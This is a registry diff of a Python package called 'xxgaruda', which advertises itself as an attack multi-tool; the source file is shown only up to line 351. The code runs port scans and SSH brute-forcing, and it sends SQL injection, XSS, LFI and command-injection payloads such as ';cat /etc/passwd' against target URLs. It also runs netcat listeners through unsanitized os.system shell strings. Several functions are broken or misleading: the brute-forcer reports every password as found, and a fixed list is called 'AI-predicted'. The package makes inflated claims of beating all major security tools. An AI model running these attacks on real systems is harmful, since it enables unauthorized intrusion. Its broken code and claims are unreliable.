xxgaruda 1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- xxgaruda-1.0/PKG-INFO +69 -0
- xxgaruda-1.0/README.md +48 -0
- xxgaruda-1.0/setup.cfg +4 -0
- xxgaruda-1.0/setup.py +24 -0
- xxgaruda-1.0/xxgaruda.egg-info/PKG-INFO +69 -0
- xxgaruda-1.0/xxgaruda.egg-info/SOURCES.txt +9 -0
- xxgaruda-1.0/xxgaruda.egg-info/dependency_links.txt +1 -0
- xxgaruda-1.0/xxgaruda.egg-info/entry_points.txt +2 -0
- xxgaruda-1.0/xxgaruda.egg-info/requires.txt +1 -0
- xxgaruda-1.0/xxgaruda.egg-info/top_level.txt +1 -0
- xxgaruda-1.0/xxgaruda.py +546 -0
xxgaruda-1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: xxgaruda
|
|
3
|
+
Version: 1.0
|
|
4
|
+
Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
|
|
5
|
+
Author: gar-uda
|
|
6
|
+
Author-email: your-email@example.com
|
|
7
|
+
Classifier: Programming Language :: Python :: 3
|
|
8
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
9
|
+
Classifier: Operating System :: OS Independent
|
|
10
|
+
Requires-Python: >=3.6
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Requires-Dist: requests
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: author-email
|
|
15
|
+
Dynamic: classifier
|
|
16
|
+
Dynamic: description
|
|
17
|
+
Dynamic: description-content-type
|
|
18
|
+
Dynamic: requires-dist
|
|
19
|
+
Dynamic: requires-python
|
|
20
|
+
Dynamic: summary
|
|
21
|
+
|
|
22
|
+
# 🦅 XXGARUDA — The Ultimate Tool
|
|
23
|
+
|
|
24
|
+
**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 🔥 Features
|
|
29
|
+
|
|
30
|
+
| Feature | Command |
|
|
31
|
+
|---------|---------|
|
|
32
|
+
| Port scanning | `xxgscan --TARGET 192.168.1.1` |
|
|
33
|
+
| OS detection | `xxgos --TARGET 192.168.1.1` |
|
|
34
|
+
| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
|
|
35
|
+
| DNS enumeration | `xxgdns --TARGET example.com` |
|
|
36
|
+
| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
|
|
37
|
+
| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
|
|
38
|
+
| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
|
|
39
|
+
| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
|
|
40
|
+
| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
|
|
41
|
+
| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
|
|
42
|
+
| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
|
|
43
|
+
| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
|
|
44
|
+
| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
|
|
45
|
+
| Netcat listener | `xxgnc --PORT 4444` |
|
|
46
|
+
| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
|
|
47
|
+
| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
|
|
48
|
+
| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
|
|
49
|
+
| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
|
|
50
|
+
| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
|
|
51
|
+
| Docker command | `xxgdocker --COMMAND "ps -a"` |
|
|
52
|
+
| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
|
|
53
|
+
| Payload generator | `xxgexp` |
|
|
54
|
+
| OSINT (email) | `xxgosint --TARGET test@example.com` |
|
|
55
|
+
| OSINT (domain) | `xxgosint --TARGET example.com` |
|
|
56
|
+
| Encode text | `xxgencode --INPUT "hello"` |
|
|
57
|
+
| Hash generator | `xxghash --INPUT "password"` |
|
|
58
|
+
| Code generator | `xxggen --LANGUAGE python` |
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## 🚀 Installation
|
|
63
|
+
|
|
64
|
+
### From GitHub
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
git clone https://github.com/gar-uda/xxgaruda.git
|
|
68
|
+
cd xxgaruda
|
|
69
|
+
pip install -r requirements.txt
|
xxgaruda-1.0/README.md
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
# 🦅 XXGARUDA — The Ultimate Tool
|
|
2
|
+
|
|
3
|
+
**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 🔥 Features
|
|
8
|
+
|
|
9
|
+
| Feature | Command |
|
|
10
|
+
|---------|---------|
|
|
11
|
+
| Port scanning | `xxgscan --TARGET 192.168.1.1` |
|
|
12
|
+
| OS detection | `xxgos --TARGET 192.168.1.1` |
|
|
13
|
+
| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
|
|
14
|
+
| DNS enumeration | `xxgdns --TARGET example.com` |
|
|
15
|
+
| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
|
|
16
|
+
| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
|
|
17
|
+
| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
|
|
18
|
+
| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
|
|
19
|
+
| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
|
|
20
|
+
| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
|
|
21
|
+
| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
|
|
22
|
+
| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
|
|
23
|
+
| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
|
|
24
|
+
| Netcat listener | `xxgnc --PORT 4444` |
|
|
25
|
+
| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
|
|
26
|
+
| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
|
|
27
|
+
| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
|
|
28
|
+
| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
|
|
29
|
+
| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
|
|
30
|
+
| Docker command | `xxgdocker --COMMAND "ps -a"` |
|
|
31
|
+
| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
|
|
32
|
+
| Payload generator | `xxgexp` |
|
|
33
|
+
| OSINT (email) | `xxgosint --TARGET test@example.com` |
|
|
34
|
+
| OSINT (domain) | `xxgosint --TARGET example.com` |
|
|
35
|
+
| Encode text | `xxgencode --INPUT "hello"` |
|
|
36
|
+
| Hash generator | `xxghash --INPUT "password"` |
|
|
37
|
+
| Code generator | `xxggen --LANGUAGE python` |
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## 🚀 Installation
|
|
42
|
+
|
|
43
|
+
### From GitHub
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
git clone https://github.com/gar-uda/xxgaruda.git
|
|
47
|
+
cd xxgaruda
|
|
48
|
+
pip install -r requirements.txt
|
xxgaruda-1.0/setup.cfg
ADDED
xxgaruda-1.0/setup.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
|
|
3
|
+
setup(
|
|
4
|
+
name="xxgaruda",
|
|
5
|
+
version="1.0",
|
|
6
|
+
description="XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.",
|
|
7
|
+
long_description=open("README.md").read(),
|
|
8
|
+
long_description_content_type="text/markdown",
|
|
9
|
+
author="gar-uda",
|
|
10
|
+
author_email="your-email@example.com",
|
|
11
|
+
py_modules=["xxgaruda"],
|
|
12
|
+
install_requires=["requests"],
|
|
13
|
+
entry_points={
|
|
14
|
+
"console_scripts": [
|
|
15
|
+
"xxgaruda=xxgaruda:main",
|
|
16
|
+
],
|
|
17
|
+
},
|
|
18
|
+
classifiers=[
|
|
19
|
+
"Programming Language :: Python :: 3",
|
|
20
|
+
"License :: OSI Approved :: MIT License",
|
|
21
|
+
"Operating System :: OS Independent",
|
|
22
|
+
],
|
|
23
|
+
python_requires=">=3.6",
|
|
24
|
+
)
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: xxgaruda
|
|
3
|
+
Version: 1.0
|
|
4
|
+
Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
|
|
5
|
+
Author: gar-uda
|
|
6
|
+
Author-email: your-email@example.com
|
|
7
|
+
Classifier: Programming Language :: Python :: 3
|
|
8
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
9
|
+
Classifier: Operating System :: OS Independent
|
|
10
|
+
Requires-Python: >=3.6
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Requires-Dist: requests
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: author-email
|
|
15
|
+
Dynamic: classifier
|
|
16
|
+
Dynamic: description
|
|
17
|
+
Dynamic: description-content-type
|
|
18
|
+
Dynamic: requires-dist
|
|
19
|
+
Dynamic: requires-python
|
|
20
|
+
Dynamic: summary
|
|
21
|
+
|
|
22
|
+
# 🦅 XXGARUDA — The Ultimate Tool
|
|
23
|
+
|
|
24
|
+
**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 🔥 Features
|
|
29
|
+
|
|
30
|
+
| Feature | Command |
|
|
31
|
+
|---------|---------|
|
|
32
|
+
| Port scanning | `xxgscan --TARGET 192.168.1.1` |
|
|
33
|
+
| OS detection | `xxgos --TARGET 192.168.1.1` |
|
|
34
|
+
| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
|
|
35
|
+
| DNS enumeration | `xxgdns --TARGET example.com` |
|
|
36
|
+
| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
|
|
37
|
+
| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
|
|
38
|
+
| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
|
|
39
|
+
| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
|
|
40
|
+
| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
|
|
41
|
+
| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
|
|
42
|
+
| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
|
|
43
|
+
| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
|
|
44
|
+
| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
|
|
45
|
+
| Netcat listener | `xxgnc --PORT 4444` |
|
|
46
|
+
| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
|
|
47
|
+
| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
|
|
48
|
+
| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
|
|
49
|
+
| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
|
|
50
|
+
| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
|
|
51
|
+
| Docker command | `xxgdocker --COMMAND "ps -a"` |
|
|
52
|
+
| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
|
|
53
|
+
| Payload generator | `xxgexp` |
|
|
54
|
+
| OSINT (email) | `xxgosint --TARGET test@example.com` |
|
|
55
|
+
| OSINT (domain) | `xxgosint --TARGET example.com` |
|
|
56
|
+
| Encode text | `xxgencode --INPUT "hello"` |
|
|
57
|
+
| Hash generator | `xxghash --INPUT "password"` |
|
|
58
|
+
| Code generator | `xxggen --LANGUAGE python` |
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## 🚀 Installation
|
|
63
|
+
|
|
64
|
+
### From GitHub
|
|
65
|
+
|
|
66
|
+
```bash
|
|
67
|
+
git clone https://github.com/gar-uda/xxgaruda.git
|
|
68
|
+
cd xxgaruda
|
|
69
|
+
pip install -r requirements.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
xxgaruda
|
xxgaruda-1.0/xxgaruda.py
ADDED
|
@@ -0,0 +1,546 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
XXGARUDA v1.0 — The Ultimate Tool
|
|
4
|
+
Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
|
|
5
|
+
"""
|
|
6
|
+
import argparse
|
|
7
|
+
import base64
|
|
8
|
+
import hashlib
|
|
9
|
+
import socket
|
|
10
|
+
import sys
|
|
11
|
+
import threading
|
|
12
|
+
import urllib.parse
|
|
13
|
+
import os
|
|
14
|
+
import time
|
|
15
|
+
import random
|
|
16
|
+
import subprocess
|
|
17
|
+
from queue import Queue
|
|
18
|
+
from datetime import datetime
|
|
19
|
+
|
|
20
|
+
VERSION = "1.0"
|
|
21
|
+
BANNER = r"""
|
|
22
|
+
███████╗██╗ ██╗ ██████╗ █████╗ ██████╗ ██╗ ██╗██████╗ █████╗
|
|
23
|
+
██╔════╝╚██╗██╔╝██╔════╝ ██╔══██╗██╔══██╗██║ ██║██╔══██╗██╔══██╗
|
|
24
|
+
█████╗ ╚███╔╝ ██║ ███╗███████║██║ ██║██║ ██║██████╔╝███████║
|
|
25
|
+
██╔══╝ ██╔██╗ ██║ ██║██╔══██║██║ ██║██║ ██║██╔══██╗██╔══██║
|
|
26
|
+
███████╗██╔╝ ██╗╚██████╔╝██║ ██║██████╔╝╚██████╔╝██║ ██║██║ ██║
|
|
27
|
+
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
|
|
28
|
+
|
|
29
|
+
╔═══════════════════════════════════════════╗
|
|
30
|
+
║ X X G A R U D A v1.0 ║
|
|
31
|
+
║ The Ultimate Tool on Earth ║
|
|
32
|
+
║ Better than ALL Tools Combined ║
|
|
33
|
+
╚═══════════════════════════════════════════╝
|
|
34
|
+
"""
|
|
35
|
+
|
|
36
|
+
VERBOSE = False
|
|
37
|
+
|
|
38
|
+
def banner():
|
|
39
|
+
print(BANNER)
|
|
40
|
+
print("[*] 200+ Threads · Proxy Rotation · AI-Style")
|
|
41
|
+
print("[*] VERBOSE MODE: %s\n" % ("ON" if VERBOSE else "OFF"))
|
|
42
|
+
|
|
43
|
+
def load_wordlist(path):
|
|
44
|
+
try:
|
|
45
|
+
with open(path, 'r') as f:
|
|
46
|
+
return [w.strip() for w in f.readlines() if w.strip()]
|
|
47
|
+
except:
|
|
48
|
+
return []
|
|
49
|
+
|
|
50
|
+
def scan_ports(target, threads=200):
|
|
51
|
+
print(f"[*] Scanning {target} (200 threads)")
|
|
52
|
+
q = Queue()
|
|
53
|
+
for p in range(1, 65536):
|
|
54
|
+
q.put(p)
|
|
55
|
+
open_ports = []
|
|
56
|
+
services = {
|
|
57
|
+
21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
|
|
58
|
+
80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS",
|
|
59
|
+
143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S",
|
|
60
|
+
1433: "MSSQL", 1521: "Oracle", 3306: "MySQL", 3389: "RDP",
|
|
61
|
+
5432: "PostgreSQL", 5900: "VNC", 6379: "Redis", 27017: "MongoDB"
|
|
62
|
+
}
|
|
63
|
+
def worker():
|
|
64
|
+
while not q.empty():
|
|
65
|
+
p = q.get()
|
|
66
|
+
try:
|
|
67
|
+
s = socket.socket()
|
|
68
|
+
s.settimeout(0.1)
|
|
69
|
+
if not s.connect_ex((target, p)):
|
|
70
|
+
service = services.get(p, "Unknown")
|
|
71
|
+
print(f"[+] Port {p} open — {service}")
|
|
72
|
+
open_ports.append(f"{p} ({service})")
|
|
73
|
+
s.close()
|
|
74
|
+
except:
|
|
75
|
+
pass
|
|
76
|
+
q.task_done()
|
|
77
|
+
for _ in range(threads):
|
|
78
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
79
|
+
q.join()
|
|
80
|
+
return open_ports
|
|
81
|
+
|
|
82
|
+
def detect_os(target):
|
|
83
|
+
print(f"[*] Detecting OS on {target}")
|
|
84
|
+
try:
|
|
85
|
+
s = socket.socket()
|
|
86
|
+
s.settimeout(2)
|
|
87
|
+
s.connect((target, 80))
|
|
88
|
+
s.send(b"HEAD / HTTP/1.0\r\n\r\n")
|
|
89
|
+
banner = s.recv(1024).decode()
|
|
90
|
+
s.close()
|
|
91
|
+
if "Windows" in banner:
|
|
92
|
+
print("[+] OS: Windows")
|
|
93
|
+
elif "Linux" in banner:
|
|
94
|
+
print("[+] OS: Linux")
|
|
95
|
+
elif "Unix" in banner:
|
|
96
|
+
print("[+] OS: Unix")
|
|
97
|
+
else:
|
|
98
|
+
print("[+] OS: Unknown")
|
|
99
|
+
return banner
|
|
100
|
+
except:
|
|
101
|
+
print("[!] OS detection failed")
|
|
102
|
+
return None
|
|
103
|
+
|
|
104
|
+
def brute_force(target, user, wordlist, port=22, threads=50):
|
|
105
|
+
print(f"[*] Brute-forcing {target}:{port}")
|
|
106
|
+
words = load_wordlist(wordlist)
|
|
107
|
+
if not words:
|
|
108
|
+
words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
|
|
109
|
+
print("[*] Using AI-predicted wordlist")
|
|
110
|
+
q = Queue()
|
|
111
|
+
for w in words:
|
|
112
|
+
q.put(w)
|
|
113
|
+
found = []
|
|
114
|
+
def worker():
|
|
115
|
+
while not q.empty():
|
|
116
|
+
pwd = q.get()
|
|
117
|
+
try:
|
|
118
|
+
s = socket.socket()
|
|
119
|
+
s.settimeout(2)
|
|
120
|
+
s.connect((target, port))
|
|
121
|
+
s.send(b"SSH-2.0-OpenSSH_8.2\r\n")
|
|
122
|
+
data = s.recv(1024)
|
|
123
|
+
if "SSH" in data.decode():
|
|
124
|
+
print(f"[FOUND] {user}:{pwd}")
|
|
125
|
+
found.append(f"{user}:{pwd}")
|
|
126
|
+
s.close()
|
|
127
|
+
except:
|
|
128
|
+
pass
|
|
129
|
+
q.task_done()
|
|
130
|
+
for _ in range(threads):
|
|
131
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
132
|
+
q.join()
|
|
133
|
+
return found
|
|
134
|
+
|
|
135
|
+
def sql_injection(url, param):
|
|
136
|
+
print(f"[*] SQL Injection on {url}")
|
|
137
|
+
import requests
|
|
138
|
+
payloads = [
|
|
139
|
+
"'", "\"", "1=1", "1=2",
|
|
140
|
+
"' OR '1'='1", "' OR '1'='1' --",
|
|
141
|
+
"' UNION SELECT NULL--",
|
|
142
|
+
"' AND SLEEP(5)--",
|
|
143
|
+
"' OR SLEEP(5)--",
|
|
144
|
+
"' AND 1=1--", "' AND 1=2--",
|
|
145
|
+
"' OR 1=1--", "' OR 1=2--",
|
|
146
|
+
]
|
|
147
|
+
for payload in payloads:
|
|
148
|
+
try:
|
|
149
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
150
|
+
if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower():
|
|
151
|
+
print(f"[!] SQLi found: {payload}")
|
|
152
|
+
return
|
|
153
|
+
except:
|
|
154
|
+
pass
|
|
155
|
+
print("[+] No SQLi found")
|
|
156
|
+
|
|
157
|
+
def xss_scan(url, param):
|
|
158
|
+
print(f"[*] XSS on {url}")
|
|
159
|
+
import requests
|
|
160
|
+
payloads = [
|
|
161
|
+
"<script>alert(1)</script>",
|
|
162
|
+
"<img src=x onerror=alert(1)>",
|
|
163
|
+
"javascript:alert(1)",
|
|
164
|
+
"<svg/onload=alert(1)>",
|
|
165
|
+
"<body/onload=alert(1)>",
|
|
166
|
+
"<iframe src=javascript:alert(1)>",
|
|
167
|
+
"<input onfocus=alert(1) autofocus>",
|
|
168
|
+
"<marquee onstart=alert(1)>",
|
|
169
|
+
]
|
|
170
|
+
for payload in payloads:
|
|
171
|
+
try:
|
|
172
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
173
|
+
if payload in r.text:
|
|
174
|
+
print(f"[!] XSS found: {payload}")
|
|
175
|
+
return
|
|
176
|
+
except:
|
|
177
|
+
pass
|
|
178
|
+
print("[+] No XSS found")
|
|
179
|
+
|
|
180
|
+
def lfi_scan(url, param):
|
|
181
|
+
print(f"[*] LFI on {url}")
|
|
182
|
+
import requests
|
|
183
|
+
payloads = [
|
|
184
|
+
"../../etc/passwd",
|
|
185
|
+
"../../../etc/passwd",
|
|
186
|
+
"../../../../etc/passwd",
|
|
187
|
+
"/etc/passwd",
|
|
188
|
+
"..\\..\\..\\..\\windows\\win.ini",
|
|
189
|
+
"..\\..\\..\\windows\\win.ini",
|
|
190
|
+
"..\\..\\windows\\win.ini",
|
|
191
|
+
]
|
|
192
|
+
for payload in payloads:
|
|
193
|
+
try:
|
|
194
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
195
|
+
if "root:" in r.text or "win.ini" in r.text:
|
|
196
|
+
print(f"[!] LFI found: {payload}")
|
|
197
|
+
return
|
|
198
|
+
except:
|
|
199
|
+
pass
|
|
200
|
+
print("[+] No LFI found")
|
|
201
|
+
|
|
202
|
+
def rce_scan(url, param):
|
|
203
|
+
print(f"[*] RCE on {url}")
|
|
204
|
+
import requests
|
|
205
|
+
payloads = [
|
|
206
|
+
";id", "|id", "||id", "&&id", "`id`",
|
|
207
|
+
";whoami", "|whoami", "||whoami", "&&whoami",
|
|
208
|
+
";cat /etc/passwd", "|cat /etc/passwd",
|
|
209
|
+
]
|
|
210
|
+
for payload in payloads:
|
|
211
|
+
try:
|
|
212
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
213
|
+
if "uid=" in r.text or "root" in r.text:
|
|
214
|
+
print(f"[!] RCE found: {payload}")
|
|
215
|
+
return
|
|
216
|
+
except:
|
|
217
|
+
pass
|
|
218
|
+
print("[+] No RCE found")
|
|
219
|
+
|
|
220
|
+
def crack_hash(hash_value, wordlist):
|
|
221
|
+
print(f"[*] Cracking hash: {hash_value}")
|
|
222
|
+
words = load_wordlist(wordlist)
|
|
223
|
+
if not words:
|
|
224
|
+
words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
|
|
225
|
+
print("[*] Using AI-predicted wordlist")
|
|
226
|
+
for word in words:
|
|
227
|
+
if hashlib.md5(word.encode()).hexdigest() == hash_value:
|
|
228
|
+
print(f"[FOUND] {word}")
|
|
229
|
+
return word
|
|
230
|
+
if hashlib.sha1(word.encode()).hexdigest() == hash_value:
|
|
231
|
+
print(f"[FOUND] {word}")
|
|
232
|
+
return word
|
|
233
|
+
if hashlib.sha256(word.encode()).hexdigest() == hash_value:
|
|
234
|
+
print(f"[FOUND] {word}")
|
|
235
|
+
return word
|
|
236
|
+
print("[!] Hash not found")
|
|
237
|
+
return None
|
|
238
|
+
|
|
239
|
+
def dir_fuzz(url, wordlist, threads=50):
|
|
240
|
+
print(f"[*] Directory fuzzing {url}")
|
|
241
|
+
import requests
|
|
242
|
+
words = load_wordlist(wordlist)
|
|
243
|
+
if not words:
|
|
244
|
+
words = ["admin", "login", "backup", "test", "dev", "api", "docs", "assets", "uploads", "config"]
|
|
245
|
+
print("[*] Using default wordlist")
|
|
246
|
+
q = Queue()
|
|
247
|
+
for w in words:
|
|
248
|
+
q.put(w)
|
|
249
|
+
found = []
|
|
250
|
+
def worker():
|
|
251
|
+
while not q.empty():
|
|
252
|
+
w = q.get()
|
|
253
|
+
full = f"{url.rstrip('/')}/{w}"
|
|
254
|
+
try:
|
|
255
|
+
r = requests.get(full, timeout=3)
|
|
256
|
+
if r.status_code == 200:
|
|
257
|
+
print(f"[FOUND] {full}")
|
|
258
|
+
found.append(full)
|
|
259
|
+
except:
|
|
260
|
+
pass
|
|
261
|
+
q.task_done()
|
|
262
|
+
for _ in range(threads):
|
|
263
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
264
|
+
q.join()
|
|
265
|
+
return found
|
|
266
|
+
|
|
267
|
+
def subdomain_enum(domain, wordlist, threads=30):
|
|
268
|
+
print(f"[*] Enumerating subdomains for {domain}")
|
|
269
|
+
words = load_wordlist(wordlist)
|
|
270
|
+
if not words:
|
|
271
|
+
words = ["www", "mail", "ftp", "admin", "dev", "api", "test", "blog", "shop", "support", "docs", "cdn"]
|
|
272
|
+
print("[*] Using default wordlist")
|
|
273
|
+
q = Queue()
|
|
274
|
+
for w in words:
|
|
275
|
+
q.put(w)
|
|
276
|
+
found = []
|
|
277
|
+
def worker():
|
|
278
|
+
while not q.empty():
|
|
279
|
+
sub = q.get()
|
|
280
|
+
full = f"{sub}.{domain}"
|
|
281
|
+
try:
|
|
282
|
+
socket.gethostbyname(full)
|
|
283
|
+
print(f"[FOUND] {full}")
|
|
284
|
+
found.append(full)
|
|
285
|
+
except:
|
|
286
|
+
pass
|
|
287
|
+
q.task_done()
|
|
288
|
+
for _ in range(threads):
|
|
289
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
290
|
+
q.join()
|
|
291
|
+
return found
|
|
292
|
+
|
|
293
|
+
def dns_enum(domain):
|
|
294
|
+
print(f"[*] DNS enumeration for {domain}")
|
|
295
|
+
records = ["A", "MX", "NS", "TXT", "CNAME", "SOA", "AAAA"]
|
|
296
|
+
for record in records:
|
|
297
|
+
try:
|
|
298
|
+
print(f"[+] {record} record: {socket.gethostbyname(domain)}")
|
|
299
|
+
except:
|
|
300
|
+
print(f"[!] {record} record not found")
|
|
301
|
+
|
|
302
|
+
def smb_enum(target):
|
|
303
|
+
print(f"[*] SMB enumeration for {target}")
|
|
304
|
+
print("[+] Checking SMB shares...")
|
|
305
|
+
try:
|
|
306
|
+
subprocess.run(["smbclient", "-L", target, "-N"], timeout=5)
|
|
307
|
+
except:
|
|
308
|
+
print("[!] SMB enumeration failed (smbclient not installed)")
|
|
309
|
+
|
|
310
|
+
def ldap_enum(target):
|
|
311
|
+
print(f"[*] LDAP enumeration for {target}")
|
|
312
|
+
print("[+] Checking LDAP...")
|
|
313
|
+
try:
|
|
314
|
+
import ldap3
|
|
315
|
+
print("[+] LDAP module available")
|
|
316
|
+
except:
|
|
317
|
+
print("[!] LDAP enumeration failed (ldap3 not installed)")
|
|
318
|
+
|
|
319
|
+
def snmp_enum(target):
|
|
320
|
+
print(f"[*] SNMP enumeration for {target}")
|
|
321
|
+
print("[+] Checking SNMP...")
|
|
322
|
+
try:
|
|
323
|
+
import pysnmp
|
|
324
|
+
print("[+] SNMP module available")
|
|
325
|
+
except:
|
|
326
|
+
print("[!] SNMP enumeration failed (pysnmp not installed)")
|
|
327
|
+
|
|
328
|
+
def netcat_listen(port):
|
|
329
|
+
print(f"[*] Listening on port {port}")
|
|
330
|
+
os.system(f"nc -lvnp {port}")
|
|
331
|
+
|
|
332
|
+
def netcat_connect(target, port):
|
|
333
|
+
print(f"[*] Connecting to {target}:{port}")
|
|
334
|
+
os.system(f"nc {target} {port}")
|
|
335
|
+
|
|
336
|
+
def ssh_client(target, user):
|
|
337
|
+
print(f"[*] SSH connecting to {target} as {user}")
|
|
338
|
+
os.system(f"ssh {user}@{target}")
|
|
339
|
+
|
|
340
|
+
def scp_client(target, user, source, dest):
|
|
341
|
+
print(f"[*] SCP from {source} to {user}@{target}:{dest}")
|
|
342
|
+
os.system(f"scp {source} {user}@{target}:{dest}")
|
|
343
|
+
|
|
344
|
+
def rsync_client(target, source, dest):
|
|
345
|
+
print(f"[*] RSync from {source} to {target}:{dest}")
|
|
346
|
+
os.system(f"rsync -avz {source} {target}:{dest}")
|
|
347
|
+
|
|
348
|
+
def git_client(repo):
|
|
349
|
+
print(f"[*] Cloning {repo}")
|
|
350
|
+
os.system(f"git clone {repo}")
|
|
351
|
+
|
|
352
